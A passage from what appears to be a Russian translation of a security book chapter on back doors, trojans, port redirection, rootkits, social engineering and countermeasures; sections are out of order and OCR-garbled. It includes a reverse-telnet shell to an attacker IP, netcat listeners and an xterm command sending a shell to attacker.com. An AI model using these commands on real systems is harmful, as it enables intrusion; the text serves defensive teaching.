Из предыдущих глав вы узнали, как можно создать "потайной ход" в системе NT с помощью драйверов устройств, загружающихся во время запуска системы. Драйвер пакета Invisible Keylogger Stealth (IKS) (iks.sys, конечно же, переименованный более подходящим образом) может быть скопирован в каталог %systemroot%\system32\ drivers. При этом программа будет запускаться вместе с ядром NT, благодаря чему на консоли пользователя этот процесс обычно остается невидимым. Программа также записывает несколько значений в системный реестр в HKLM\SYSTEM\Current-ControlSet\Services\iks (опять же, параметр iks может быть переименован взломщиком так же, как и сам файл драйвера). Если заранее сделать надежную резервную копию системного реестра (используя утилиту DumpReg компании Somarsoft), то можно легко выявить "следы присутствия" IKS. Просмотрев с помощью проводника Windows свойства драйвера IKS, можно также установить его происхождение.

Общие контрмеры против "потайных



Общие контрмеры против "потайных ходов": профилактический осмотр

Вы познакомились с многочисленными средствами и методами, к которым прибегают взломщики для создания "потайных ходов". Как же администратор может обнаружить и нейтрализовать оставленные взломщиками следы?



Отслеживание изменений файловой системы



Отслеживание изменений файловой системы

Для перегруженных работой администраторов сама мысль о регулярном обновлении полного списка файлов и каталогов может показаться безумной, поскольку это требует намного больших затрат, чем все предыдущие рекомендации. В то же время, если состояние системы изменяется не очень часто, такой учет является самым надежным методом выявления следов злоумышленников.
В системе Novell для отслеживания изменений в размерах файлов, времени последнего обращения и других атрибутов можно воспользоваться командой ndir. В системе UNIX можно написать сценарий, содержащий команду Is -la, который будет записывать имя каждого файла и его размер. В Windows при использовании команды dir выводится время последнего изменения, время последнего обращения к файлу, а также ею размер. Для ведения каталога файлов без изменения времени доступа к ним можно порекомендовать утилиты a find, hfind и sfind компании NTObjectives. Помимо прочих достоинств, эти программы позволяют идентифицировать скрытые файлы, а также выявлять потоки данных внутри файлов. Для аудита файлов в системах NT/2000 можно использовать также встроенные возможности файловой системы NTFS. Просто щелкните правой кнопкой мыши на нужном файле или каталоге, выберите команду Security, щелкните на кнопке Auditing, и установите требуемые параметры для каждого пользователя или группы.
В Windows 2000 появилась подсистема защиты файлов (WFP — Windows File Protection), обеспечивающая защиту системных файлов от перезаписи (к ним относится около 640 файлов из каталога %systemroot%). Интересный побочный эффект этого нововведения состоит в том, что хэш-коды SHA-1 этих важных файлов содержатся в файле каталога %systemroot%\system32\dllcache\nt5.cat. Поэтому, сравнивая эталонные хэш-коды с хэш-кодами текущих системных файлов, можно проверить их целостность. Такую проверку можно выполнить с использованием средства верификации сигнатуры файлов (File Signature Verification, sigverif.exe). Для этого щелкните на кнопке Advanced, перейдите во вкладку Logging и установите режим Append То Existing Log File, чтобы новые результаты можно было сравнивать с полученными ранее. Однако нужно иметь в виду, что в режиме. WFP сигнатура, скорее всего, не связывается с каждым отдельным файлом. Как отметил в мае 2000 года Рус Купер (Russ Cooper), подсистема защиты WFP не замечает копирования одного из "помеченных" файлов поверх другого (например, незамеченным останется копирование notepad.exe поверх wscript.exe). В процессе тестирования поверх файла wscript.exe мы скопировали файл, не являющийся системным, и утилита sigverif все равно подтвердила его целостность! Поэтому лучше пока не полагаться на эти новые средства, пока не будут разгаданы причины такого странного поведения.
Среди средств сторонних производителей можно упомянуть программу проверки целостности файлов MDSsum. Она входит в состав пакета Textutils, который распространяется в рамках общей лицензии GNU. Версию, скомпилированную для системы Windows, можно найти по адресу http://sourceware.cygnus.com/cygwin/. Утилита MDSsum на основе распространенного алгоритма MD5, разработанного Роном Ривестом (Ron Rivest) из лаборатории компьютерных наук Массачусетского технологического института, позволяет вычислить или проверить профильное сообщение (message digest) файла длиной 128 бит. Описание программы приведено в документе RFC 1321. В следующем примере показано, как программа MDSsum генерирует контрольную сумму файла test, txt, а затем выполняет ее проверку.

D:\Toolbox>md5sum d:\test.txt>d:\test.md5
D:\Toolbox>cat d:\test.md5
efd3907b04b037774d831596f2clbl4a d:\Xtest.txt
D:\Toolbox>md5sum --check d:\test.md5
d:\Xtest.txt: OK

К сожалению, программа MDSsum одновременно обрабатывает только один файл (конечно, написав сценарий, это можно исправить). В число более эффективных средств выявления вторжений в файловую систему входит старая программа Tripwire, которую можно найти по адресу http://www.tripwire.com.
Следует упомянуть и несколько других важных утилит, предназначенных для проверки содержимого двоичных файлов. К ним относится известная программа strings, которая работает как в системе UNIX, так и в Windows, BinText Робина Кайра (Robin Keir) для Windowsи UltraEdit32 для Windows .
И наконец, при инвентаризации файловой системы очевидным шагом является поиск легко узнаваемых исполняемых файлов, обеспечивающих "потайной ход", а также используемых ими библиотек. Поскольку большинство из этих инструментов может быть переименовано, такая процедура обычно не приносит пользы, но устранение очевидных изъянов — это уже половина успеха в битве за обеспечение безопасности сети. В табл. 14.2 приведен список наиболее важных файлов, при обнаружении которых нужно принимать меры, описанные в этой главе.

Перенаправление портов



Рисунок 14.4. Перенаправление портов


Пользователи должны знать, что, если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIME_WAIT и CLOSE_WAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой версии операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных IР-адреса/порта и удаленных IP-адреса/порта, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено.



Перенаправление портов реверсивный



Перенаправление портов: реверсивный ceaнc telnet, netcat, datapipe, rinetd и fpipe



В предыдущих разделах некоторые команды удаленного управления, основанные на использовании командного процессора, описывались в контексте прямых соединений. Теперь рассмотрим ситуацию, когда прямому вмешательству в систему что-то препятствует, например прямой доступ блокируется брандмауэром. Изобретательные взломщики могут обойти эти препятствия с помощью перенаправления портов (port redirection).
Если взломщику удалось взломать брандмауэр, то с помощью перенаправления портов он сможет направить все пакеты на требуемый узел. Важно уяснить возможные последствия взломов этого типа, поскольку взломщик может получить доступ к любой системе, которая находится позади брандмауэра. Перенаправление функционирует по следующему принципу: ведется прослушивание определенных портов и перехваченные на них необработанные пакеты перенаправляются на нужный вторичный адрес. Ниже будут рассмотрены некоторые методы выполнения перенаправления портов вручную, используя такие утилиты, как telnet и netcat, а также такие специализированные средства перенаправления, как datapipe и rinetd.



"Потайные ходы"



"Потайные ходы"

Если непрошеные гости обоснуются в системе, избавиться от них бывает трудно. Даже если брешь, которой они воспользовались, будет найдена и закрыта, злоумышленники могут обеспечить специальный механизм и быстро получить доступ в любое время. Такой механизм называется потайным ходом (back door).
Выявление и устранение такого потайного хода — задача почти неосуществимая, поскольку его можно создать самыми разнообразными способами. Единственной реальной возможностью восстановления системы после взлома является повторная установка операционной системы с исходных носителей и выполнение долгой и кропотливой работы по восстановлению пользовательских данных и приложений с проверенных резервных копий. При этом полное восстановление осуществить очень трудно, особенно, если система имела нестандартную конфигурацию, которая не была документирована.
В следующих разделах описаны основные механизмы, которые используются злоумышленниками для сохранения контроля над системой. Знание этих методов поможет администратору быстро идентифицировать такие вторжения и по возможности сократить трудоемкость процесса восстановления. Где это необходимо, мы представим подробное описание возможных подходов, однако в основном предполагается дать как можно более полный обзор популярных методов.



Программы типа "троянский конь"



Программы типа "троянский конь"

Как уже упоминалось во введении, "троянский конь" — это программа, которая для вида выполняет какие-нибудь полезные действия, однако на самом деле предназначена совсем для других (зачастую злонамеренных) действий или скрытно устанавливает коварные или разрушительные программы. Многие из рассмотренных выше средств создания "потайных ходов" могут быть помещены во внешне безобидные пакеты, так что конечные пользователи даже не смогут догадаться о том, насколько опасные программы установлены на их компьютерах. В качестве другого примера можно привести коварную программу, маскирующуюся под файл netstat. Эта программа, в отличие от настоящей утилиты netstat, намеренно не показывает некоторые прослушиваемые порты, тем самым скрывая наличие "потайного хода". Ниже вы познакомитесь еще с несколькими примерами программ типа "троянский конь", таких как FPWNCLNT. DLL и "наборы отмычек".
Whack-A-Mole
Популярным средством внедрения программы NetBus является игра под названием Whack-A-Mole. Сама игра представляет собой один исполняемый файл с именем whackamole.exe, который является самораспаковывающимся архивом WinZip. При установке игры Whack-A-Mole устанавливается и сервер NetBus с именем explore.exe, а в поддереве системного реестра HKLM\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run создается соответствующий ключ, ссылающийся на этот исполняемый файл. После этого сервер NetBus будет запускаться при каждой загрузке системы (обратите внимание на имя explore). Все эти действия выполняются довольно незаметно и происходят после появления на экране небольшой привлекательной игры под названием Whack-A-Mole.



Расширенные методы



Расширенные методы

В предыдущих главах уже были рассмотрены многие средства, используемые хакерами. Хотя мы и пытались систематизировать все стандартные инструменты, некоторые из них все же не укладываются в приведенную выше классификацию. В данной главе описываются несколько категорий таких средств, каждая в отдельном разделе: "Захват сеанса", "Потайные ходы", "Троянские кони" (троянский конь (Trojan horse) — это такая программа, которая под прикрытием некоторых полезных действий на самом деле скрытно выполняет совсем другие операции), "Разрушение системного окружения..." и "Социальная инженерия".
Из предыдущих глав отобран некоторый материал, имеющий отношение к рассматриваемой теме и, по нашему мнению, заслуживающий повторного обсуждения. В результате все рассматриваемые вопросы будут раскрыты более полно, освещая все категории программного обеспечения, типы платформ и технологии. В конце концов, при выборе своих целей злоумышленников ничто не в состоянии остановить.



Разрушение системного окружения



Разрушение системного окружения: "наборы отмычек" и средства создания образа состояния системы

До сих пор речь шла о многочисленных способах размещения в системе скрытых ловушек, чтобы обычные пользователи даже и не догадывались о том, что же происходит на самом деле. Многие представленные концепции касались средств, работающих под видом обычных программ (несмотря на зловредность выполняемых ими действий), которые скрывались в таких местах, где их легко найти. К сожалению, взломщики способны на более зловредные поступки, в чем вы очень скоро убедитесь. Из-за того, что профессиональное знание архитектуры операционных систем в настоящее время стало нормой, полное нарушение целостности системы становится тривиальной задачей.



Remote exe (NT)



remote.exe (NT)

Утилиту remote из набора NTRK можно запустить в качестве сервера, чтобы командная строка возвращалась любому аутентифииированному пользователю NT, который подключился с помощью соответствующего удаленного клиента. Эту программу очень просто установить (нужно просто скопировать файл remote.exe в системный каталог, например %systemroot%). Поэтому зачастую ее использование предшествует последующей установке более опасных программ, таких как графические утилиты удаленного управления или программы-регистраторы нажатия клавиш. Более подробно утилита remote.exe описана в главе 5.



Реверсивный сеанс telnet



Реверсивный сеанс telnet

Один из любимых взломщиками "потайных ходов" во взломанную систему может быть реализован с помощью демона telnet, входящего в комплект поставки многих версий UNIX. Так что эту программу даже не потребуется загружать. Мы называем этот способ реверсивный сеанс telnet, потому что в процессе его реализации утилита telnet используется для соединения с находящейся в режиме прослушивания утилитой netcat, запущенной на компьютере взломщика. Затем требуемые команды направляются на целевой узел, а результаты их выполнения — обратно.
Чтобы реализовать реверсивное соединение telnet, на своем компьютере сначала нужно запустить два экземпляра утилиты netcat, используя для этого две отдельные команды.

С:\> nc -w -1 -р 80
D:\> nc -w -1 -р 25

Затем на целевом узле следует использовать следующую команду UNIX,

sleep 10000 | telnet 172.29.11.191 80 |
/bin/sh | telnet 172.29.11.191 25

В результате входные данные с порта 25 с помощью конвейера будут переданы локальной командной оболочке (которая выполнит полученные команды), а результаты снова через конвейер будут перенаправлены обратно, на порт 80 компьютера взломщика.

Порты из предыдущего примера (80 и 25) используются стандартными службами (HTTP и SMTP соответственно). Поэтому обычно следующий через них поток сообщений свободно проходит через брандмауэр на многие внутренние узлы.



В этой главе вы познакомились



Резюме

В этой главе вы познакомились со способами захвата соединений TCP в сети с множественным доступом, а также с тем, как взломщики могут получить доступ к системе,, передавая команды для локального выполнения или путем перехвата соединения. Эти типы атак очень просто реализовать в сетях с множественным доступом и так же просто предотвратить при переходе к сети с коммутацией пакетов.
Вы узнали также о том, какие шаги следует предпринять, если в сеть проник злоумышленник. Избавиться от его присутствия очень трудно, однако это все же вполне осуществимая задача. Ее можно решить с использованием рекомендаций, приведенных в данной главе. Ниже перечислены основные аспекты этих советов. Тем не менее, лучше всего заново переустановить все программы, воспользовавшись проверенными носителями.
 Проверяйте привилегии учетных записей и принадлежность к группам. Удаляйте любую подозрительную учетную запись, и сведите к минимуму число привилегированных пользователей.  Очищайте загрузочные файлы конфигурации от подозрительных записей. Эти файлы являются основным местом, где после создания "потайного хода" остаются следы, поскольку большинство взломщиков стремятся к сохранению возможности войти в систему и после ее перезагрузки.  Не забывайте о том, что такие службы планирования заданий, как AT системы NT/2000 и сгоп в UNIX также могут быть использованы для запуска демонов, обеспечивающих "потайной ход", даже если система не часто перезагружается. Постоянно следите за списком заданий, которые выполняются по расписанию.  Познакомьтесь с самыми популярными инструментами создания "потайных ходов", такими как Back Orifice и Net Bus. Это позволит получить представление об особенностях функционирования этих продуктов, которые позволят обнаружить их присутствие в системе. Серьезно подойдите к вопросу приобретения антивирусных или других "чистящих" программных продуктов, осуществляющих активное сканирование и помогающих решить такие проблемы.  Будьте предельно осторожны при запуске исполняемых файлов, полученных из ненадежных источников. Кто знает, какие зловредные утилиты при этом могут быть незаметно установлены? Программы типа "троянский конь" идентифицировать очень трудно, а последующая переустановка системы является не очень приятным занятием. Применяйте средства обнаружения таких программ, утилиты подсчета контрольных сумм, такие как MDSsum или Tripwire. Это позволит удостовериться в подлинности используемых файлов, особенно системных, которые используются при регистрации в системе.  Чтобы узнать, как Web-броузеры и почтовые программы могут стать переносчиками программ типа "троянский конь", прочитайте главу 16. И наконец, вы узнали о социальной инженерии и ее возможностях по нарушению системы обеспечения безопасности организации. Как сказано в документе RFC 2504, "Паранойя — это очень хорошо". Убедитесь, что каждый, кто работает с важными данными, осознает свою ответственность.

Rinetd



rinetd

Утилита rinetd — это "сервер перенаправления Internet", созданный Томасом Бутеллом (Thomas Boutell). Эта программа перенаправляет соединения TCP с одного IP-адреса и порта на другой. Таким образом, она. во многом похожа на программу datapipe. Программа работает как на базе интерфейса Win32 (включая Windows 2000), так и в системе Linux УТН..ПГ rinetd очень легко использовать: нужно просто создать конфигурационный файл, в котором указывается правило перенаправления. Этот файл имеет следующий формат

адрес_привязки порт_прмвязки адрес_соединения порт_соединения

Запустить программу можно с помощью команды rinetd -с <имя_конфигурационного_файла>. Так же как и datapipe, эта утилита может оказаться очень эффективной против неправильно настроенного брандмауэра.

Социальная инженерия



Социальная инженерия

Последний раздел этой главы посвящен методу, наводящему наибольший ужас на тех, кто отвечает за сохранность информации,— социальной инженерии (social engineering). Хотя этот термин прочно закрепился в хакерском жаргоне, обозначая метод убеждения и/или обмана сотрудников какой-либо компании для получения доступа к ее информационным системам, мы считаем его неудачным. Такие приемы обычно применяются в процессе обычного человеческого общения или при других видах взаимодействия. В качестве технических средств обычно выбирается телефон, но попытка наладить общение может быть предпринята и через электронную почту, коммерческие каналы телевидения или другие самые разнообразные способы, позволяющие вызвать нужную реакцию. Успешному взлому с применением социальной инженерии, как правило, предшествуют следующие стандартные подходы.



Создание фиктивных учетных записей



Создание фиктивных учетных записей

Почти каждому системному администратору известно, что учетные записи с правами суперпользователя — это такие ресурсы, которые легко защищать и контролировать. А вот учетные записи, равные по привилегиям суперпользователю, но имеющие неприметные имена, отследить намного труднее. Злоумышленник обязательно попытается создать такие учетные записи.



Создание образа системного окружения



Создание образа системного окружения для нейтрализации механизма проверки контрольных сумм

Существует несколько средств для создания зеркального образа системных томов (табл. 14.3). Эти мощные утилиты помогают сэкономить время и при возникновении внештатной ситуации могут оказаться просто незаменимыми. Однако их побитовая точность фиксирования состояния системы может быть использована для того, чтобы обвести вокруг пальца механизмы обеспечения безопасности, основанные на проверке контрольных сумм текущих системных данных.
Очевидно, что для осуществления подобной атаки требуется высокий уровень доступа к целевой системе, поскольку все перечисленные в табл. 14.3 процедуры требуют перезапуска системы или физического удаления жесткого диска. Впрочем, если взломщик получит этот вид доступа, то с уверенностью можно сказать, что он сможет отвести душу по-настоящему (читателям, которым в это не верится, стоит еще раз перечитать раздел о "наборах отмычек"). Подумайте о практическом применении приложений, основанных на использовании такой системной информации, как содержимое списка процессов, данных о загрузке центрального процессора и т.д. На основе этих данных генерируются контрольные суммы, применяемые в дальнейшем при санкционировании некоторых видов транзакций.



"Справочный стол" и растерянный пользователь



"Справочный стол" и растерянный пользователь

В предыдущем примере было интересно наблюдать за тем, какое гипнотизирующее влияние маска руководителя оказала на стоящих на более низком уровне сотрудников "справочного стола". Однако в некоторых компаниях, где технические знания персонала "справочного стола" дают им возможность получать от сотрудников любую информацию, этот метод можно применить несколько по-другому и добыть сведения от ничего не подозревающих пользователей. Однажды, найдя на одном из Web-узлов список внутренних телефонов компании и представляясь работником отдела внутренней технической поддержки, авторы начали обзванивать сотрудников, выбирая телефоны случайным образом. Таким образом удалось получить информацию об именах пользователей и паролях доступа к внутренним файлам, а также некоторые общие сведения о локатьной сети. Эту информацию предоставляли 25% из тех, кому звонили. Выдавая себя либо за директора отдела информационных технологий, либо за сотрудника группы технической поддержки можно с высокой эффективностью извлекать необходимые данные.



Средства автоматизации



Средства автоматизации

Как говорится, легче предотвратить, чем обезвредить. Многие современные коммерческие антивирусные программные продукты неплохо работают, автоматически сканируя систему в поисках таких программ. Зачастую они нейтрализуют опасность еще до того, как будет причинен реальный вред (например, до получения доступа к дисководу для гибких дисков или до загрузки вложения электронного сообщения). Достаточно полный перечень производителей антивирусных программ можно найти в статье Q49500 базы знаний компании Microsoft по адресу http://support.microsoft.com/support/ kb/articles/Q49/5/00.ASP.
Недорогая программа The Cleaner, распространяемая компанией MooSoft Development, способна идентифицировать и обезвредить более тысячи различных видов программ типа "троянский конь" (во всяком случае так говорится в рекламных материалах). Для получения более подробной информации обратитесь по адресу http: //www. moosoft.com/сleaner.html.
При выборе программы удостоверьтесь, что она способна выполнять поиск по таким важным критериям, как двоичные подписи и параметры системного реестра. Это бывает полезно, если взломщики-тугодумы не догадались внести соответствующие изменения и скрыть свое присутствие. Нужно помнить также о том, что антивирусные программы окажутся эффективными только в том случае, если их базы данных постоянно обновляются!



Используемые пo



Таблица 1 4.2. Используемые пo умолчанию имена исполняемых файлов утилит удаленногоуправления

"Потайной ход"
Имя файла(ов)
Возможность переименовать
remote (NT)
remote . ехе
Есть
netcat (UNIX и NT)
пс И пс . ехе
Есть
rinetd
rinetd, rinetd.exe
Есть
Утилиты туннелирования пакетов 1СМР и UDP
loki И lokid
Есть
Back Orifice
[пробел] .ехе, boserve.exe, boconfig.exe
Есть
Back Orifice 2000
bo2k.exe, bo2kcfg.exe, bo2kgui.exe, UMGR32 . EXE, bo_peep. dll, bo3des . dll
Есть
NetBus
patch . exe, NBSvr . exe, KeyHook . dll
Есть
Virtual Network Computing for Windows (WinVNC)
WinVNC . EXE, VNCHooks . DLL, И OMNITHKEAD_RT.DLL
Нет
Linux Rootkit (LRK)
Irk
Есть
NT/2000 Rootkit
deploy . exe и _root_ . sys
Нет в сборке 0.31 а


Номера портов используемые



Таблица 14.1. Номера портов, используемые программами и удаленного управления при создании "потайных ходов"

"Потайной ход"
Порт TCP, используемый по умолчанию
Порт UDP, используемый по умолчанию
Возможность использования альтернативных портов
Remote.exe
135-139
135-139
Нет
Netcat
Любой
Любой
Да
Loki
Не используется
Не используется
Не используется
Реверсивный telnet-сеанс
Любой
Не используется
Да
Back Orifice
Не используется
31337
Да
Back Orifice 2000
54320
54321
Да
NetBus
12345
Не используется
Да
Masters Paradise
40421,40422,40426
Не используется
Да
pcAnywhere
22,5631,5632,65301
22, 5632
Нет
ReachOut
43188
Нет
Нет
Remotely Anywhere
2000, 2001
Нет
Да
Remotely
799, 800
800
Да
Possible/ControllT



Timbuktu
407
407
Нет
VNC
5800, 5801
Нет
Да
Windows Terminal Server
3389
3389
Нет
NetMeeting Remote Desktop Control
49608, 49609
49608, 49609
Нет
Citrix ICA
1494
1494
Нет

Команды pulist и sclist просты в использовании. Их удобно применять в файлах сценариев для автоматизации процесса тестирования как на локальной системе, так и в сети. В качестве примера приведем список процессов, выводимый программой pulist.

С:\nt\ew>pulist
Process PID User
Idle 0
System 2
smss.exe 24 NT AUTHORITYXSYSTEM
CSRSS.EXE 32 NT AUTHORITYXSYSTEM
WINLOGON.EXE 38 NT AUTHORITYXSYSTEM
SERVICES.EXE 46 NT AUTHORITYXSYSTEM
LSASS.EXE 49 NT AUTHORITYXSYSTEM
CMD.EXE 295 TOGA\administrator
nfrbof.exe , 265 TOGA\administrator
UEDIT32.EXE 313 TOGA\administrator
NTVDM.EXE 267 TOGA\administrator
PULIST.EXE 309 TOGA\administrator
C:XntXew>

В следующем примере с помощью утилиты sclist был получен список работающих на удаленном узле служб.

C:\nt\ew>sclist \\172.29.11.191
---------------
- Service list for \\172.29.11.191
---------------
running Alerter Alerter
running Browser Computer Browser
stopped ClipSrv ClipBook Server
running DHCP DHCP Client
running EventLog EventLog
running LanraanServer Server
running LanmanWorkstation Workstation
running LicenseService License Logging Service
stopped Schedule Schedule
running Spooler Spooler
stopped TapiSrv Telephony Service
topped UPS UPS

В системе UNIX для аналогичных целей можно использовать команду ps. В каждой версии UNIX имеются свои особенности использования этой команды. В Linux она выглядит как ps -aux, а в Solaris — ps -ef. Эти команды могут и должны быть применены при создании сценариев, служащих для получения отчета об изменениях в списке активных процессов. В число других замечательных инструментов системы UNIX, позволяющих получить соответствие между службами и запущенными процессами, входят программы Isof , которую можно применять в большинстве версий, и sockstat для FreeBSD. Вот пример результатов работы этих утилит.

[crush] lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
syslogd 111 root 4u IPv4 Oxc5818fOO OtO UDP *:syslog
dhcpd 183 root 7u IPv4 Oxc5818e40 OtO UDP *:bootps
dhcpd 183 root lOu IPv4 Oxc5bc2fOO OtO ICMP *:*
sshd 195 root 3u IPv4 Oxc58d9d80 OtO TCP *:ssh (LISTEN)
sshd 1062 root 4u IPv4 OxcSSdaSCO OtO TCP crush:ssh-
>192. 168.1.101:2420 (ESTABLISHED)
Xaccel 1165 root 3u IPv4 Oxc58dad80 OtO TCP *:6000 (LISTEN)
gnome-ses 1166 root 3u IPv4 Oxc58dab60 OtO TCP *:1043 (LISTEN)
panel 1201 root 5u IPv4 Oxc58da940 OtO TCP *:1046 (LISTEN)
gnome-nam 1213 root 4u IPv4 Oxc58da2eO OtO TCP *:1048 (LISTEN)
genj.itil_ 1220 root 4u IPv4 Oxc58dbd80 OtO TCP *:1051(LISTEN)
sshd " 1245 root 4u IPv4 Oxc58da720 OtOTCP crush:ssh-
>192.163.I.101:2642 (ESTABLISHED)
[crush] sockstat
USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
root sshd 1245 4 tcp4 10.1.1.1.22 192.168.1.101.2642
root genjjtil 1220 4 tcp4 *.1051 *.*
root gnome-na 1213 4 tcp4 *.1048 *.*
root panel 1201 5 tcp4 *.1046 *.*
root gnome-se 1166 3 tcp4 *.1043 *.*
root Xaccel 1165 3 tcp4 *.6000 *.*
root sshd 1062 4 tcp4 10.1.1.1.22 192.168.1.101.2420
root sshd 195 3 tcp4 *.22 *.*
root dhcpd 183 7 udp4 *.67 *.+
root syslogd 111 4 udp4 *.514 *.*

Конечно же, поскольку большинство из рассмотренных выше программ может быть переименовано, без инвентаризации системы и приложений как при их начальной установке, так и при последующих обновлениях, "потайной ход" будет трудно обнаружить (нам кажется, что об этом говорилось уже достаточно).

Некоторые технологии



Таблица 14.3. Некоторые технологии копирования состояния системы и связанные с ними программные продукты

Технология
Программный продукт
Адрес URL
Дублирование жестких дисков
Image MASSter OmniClone line
http://www.ics-iq.com
http: //www.logicube.com
Клонирование дисков
Drive Image FlashClone Norton Ghost RapiDeploy
http: //www.powerguest .com 
http: //www.ics-iq.com 
http: //www.symantec .com 
http: //www.altiris .com
Работа с виртуальными дисками, защищенными от записи
VMWare
http://www.vmware.com
Восстановление системы
9Lives (Win Bx only) SecondChance (только Win 9x)
http://www.duomark.com/9Lives 
http: //www.powerquest.com


Удаление подозрительных процессов



Удаление подозрительных процессов

Еще одна возможность выявления "потайного хода" заключается в проверке списка процессов на наличие в нем таких исполняемых файлов, как nc, WinVNC. exe и т.д. Для этого в системе NT можно использовать утилиту pulist из набора NTRK, которая выводит все запущенные процессы, или sclist, показывающую работающие службы.



Удаленное управление



Удаленное управление

Вполне возможна ситуация, когда взломщик не сможет вернуться на целевой компьютер, даже обладая необходимыми регистрационными данными. Это может произойти, если некоторые служебные процессы сервера не выводят приглашения на регистрацию. Например, мало пользы от пароля root, если на взламываемом сервере отключены г-службы или telnet. Точно так же в системе Windows NT администратор по умолчанию получает очень ограниченные возможности удаленного управления. Поэтому первоочередная цель взломщика состоит в обеспечении механизмов повторного доступа.
В большинстве случаев все, что действительно нужно взломщику, — это удаленная командная строка. Ниже представлен обзор средств, с помощью которых достаточно просто получить удаленный доступ к командной оболочке. Кроме того, учитывая широкую распространенность операционных систем с графическим интерфейсом и предоставляемую ими простоту управления, вы познакомитесь с инструментами, которые окажутся полезными и в этом случае.
Контрмеры против средств удаленного управления приводятся в конце раздела, поскольку большинство из них можно применять для защиты от всех из описанных атак.



UNIX



UNIX

В системе UNIX фиктивные учетные записи создаются и идентифицируются аналогичным образом. Как правило создаются безобидные учетные записи с нулевыми значениями идентификаторов UID и GID. Следует проверить также учетные записи с таким же идентификатором GID, что и у пользователя root, а затем проверить совпадение свойств групп в файле /etc/groups. Кроме того, такие учетные записи легко выявить по содержимому файла /etc/passwd.



UNIX



UNIX

В системе UNIX взломщики часто помещают программы, предназначенные для создания "потайного хода", в файлы rc.d. Следует проверить каждый из таких файлов и убедиться, что в них не содержится ни одной незнакомой программы или такой, которая была бы недавно добавлена. Для внедрения ловушек может быть использован также файл inetd.conf. В этом файле находятся параметры демона inetd, суперсервера Internet системы UNIX, который при необходимости динамически запускает различные процессы, такие как FTP, telnet, finger и т.д. В этом файле также можно обнаружить подозрительные демоны.
Другим методом определения изменений в системных файлах систем UNIX или NT является использование программы Tripwire (http://www.tripwire.com). Коммерческая версия этой популярной программы может работать на многих платформах, включая Windows NT 4.0 SP3 и выше, Red Hat Linux 6.1 и Solaris 2.6 и 7. Эта программа создает сигнатуру каждого автономно хранящегося файла. |£сли файл был изменен без ведома его владельца, то программа Tripwire сообщит, когда и как в него были внесены изменения.



В диалоговом окне Internet Explorer



Рисунок 14.1. В диалоговом окне Internet Explorer, содержащем предупреждающе сообщение, пользователь указывает, нужно ли загрузить файл на компьютер локально или запустить его с удаленного узла. Всегда устанавливайте режим Save this program to disk (сохранить программу на диске)!


HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX
HKCUXSoftware\Microsoft\Internet Explorer\Main\Start Page\about:blank

Конечно, в зависимости от степени доверчивости следующего пользователя, запускающего броузер, для выполнения этого файла перезагрузка может и не понадобиться. Последние версии Internet Explorer перед пересылкой определенных типов файлов, таких как исполняемые файлы . ЕХЕ и . СОМ, по умолчанию выводят на экран окно подтверждения. В зависимости от ответа пользователя на вопрос в диалоговом окне, показанном на Рисунок 14.1, данный файл может быть запущен сразу после начала работы Web-броузера.

В системном реестре NT4 установлено



Рисунок 14.2. В системном реестре NT4 установлено, что в процессе загрузки системы будет загружаться утилита netcat




Ведение учета



Ведение учета

Предположим, что все принятые меры предосторожности не помогли и система все же оказалась взломанной. В такой ситуации единственным оружием против почти всех описанных ранее приемов создания "потайных ходов" является бдительность. Со стороны администратора было бы разумным вести всесторонний учет состояния системы и продумать, где можно быстро разместить надежные данные для восстановления системы. Мы настоятельно рекомендуем выполнять инвентаризацию наиболее важных систем, регистрируя данные как о начальной установке, так и о каждом их обновлении.
Отслеживание состояния системы в быстро меняющихся условиях, особенно на персональных рабочих станциях, может оказаться довольно утомительным занятием. А вот на относительно статичных рабочих серверах подобный учет может стать полезным подспорьем в процессе проверки целостности узла, который, вероятно, подвергся нападению. Упростить эту задачу помогают инструменты отображения состояния системы, которые будут рассматриваться ниже в этой главе. В оставшейся части данного раздела обсуждаются методы отслеживания изменений системы "вручную", которые не требуют дополнительных затрат (многие из них доступны в большинстве систем). Если еше до вторжения последовать простым рекомендациям, приведенным ниже, то после взлома будет гораздо легче понять, что же произошло. Многие из этих методов полезно применить и после нападения, в качестве следственного эксперимента.



VNC



VNC

Рассмотренные ранее средства удаленного управления предоставляют возможность практически полного контроля над системой. Поэтому при одной только мысли о возможности получения в свои руки виртуального рабочего стола целевой системы у взломщиков учащается сердцебиение. Программа Virtual Network Computing (VNC) предоставляет именно такие возможности. Кроме того, этот программный продукт легко установить на "захваченной" системе и использовать ее как "потайной ход", обеспечивающий получение доступа впоследствии.
Пакет VNC разработан в лаборатории AT&T Laboratories Кембриджского университета, и, несомненно, является лучшим бесплатным графическим средством удаленного управления. В главе 5 было показано, как легко инсталлировать эту программу в Windows NT через удаленное сетевое соединение. Для этого нужно лишь установить службу VNC из командной строки, сделав перед этим единственное изменение в системном реестре, чтобы обеспечить ее скрытный запуск (версии выше 3.3.2 помешают пиктограмму на панель задач и могут быть легко обнаружены пользователями, которые зарегистрировались интерактивно). Конечно же, независимо от версии или выбранного режима процесс winVNC. EXE будет отображен в списке процессов.



Взлом X Windows и других графических терминальных служб



Взлом X Windows и других графических терминальных служб

На узлах UNIX, на которых не ограничивается исходящий трафик приложения xtenn (TCP 6000). можно модифицировать некоторые из приведенных ранее методов перенаправления портов, чтобы "захватить" окно терминала и перенаправить таким образом оконную командную оболочку обратно на компьютер взломщика. Для этого достаточно запустить Х-сервер, а затем ввести следующую команду.

xterrn -display attacker.соm:0.О&

